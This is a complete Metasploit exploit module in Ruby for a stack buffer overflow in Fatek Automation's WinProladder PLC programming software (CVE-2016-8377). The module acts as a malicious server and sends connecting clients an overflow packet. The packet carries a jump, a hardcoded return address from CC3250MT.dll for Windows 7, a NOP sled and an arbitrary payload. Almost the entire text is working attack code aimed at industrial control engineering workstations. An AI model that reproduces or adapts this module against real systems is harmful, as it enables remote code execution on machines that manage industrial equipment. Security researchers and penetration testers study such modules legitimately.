require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Fatek Automation PLC WinProladder Stack-based Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow found in Fatek Automation
PLC WinProladder v3.11 Build 14701. The vulnerability is triggered when a client
connects to a listening server. The client does not properly sanitize the length
of the received input prior to placing it on the stack.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'ZDI', '16-672' ],
[ 'CVE', '2016-8377' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-350-01' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows 7 EN',
{
# CC3250MT.dll
# pop ecx/ pop ebp/ retn
'Ret' => 0x32514d79
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 15 2016'))
register_options(
[
OptPort.new('SRVPORT', [ true, "The port to listen on", 500])
], self.class)
end
def on_client_data(client)
p = payload.encoded
pkt = "A" * 10000
pkt[1092, 4] = [0x04eb9090].pack('V') # jmp $+6
pkt[1096, 4] = [target.ret].pack('V')
pkt[1100, 50] = "\x90" * 50
pkt[1150, p.length] = p
client.put(pkt)
handler
service.close_client(client)
end
end
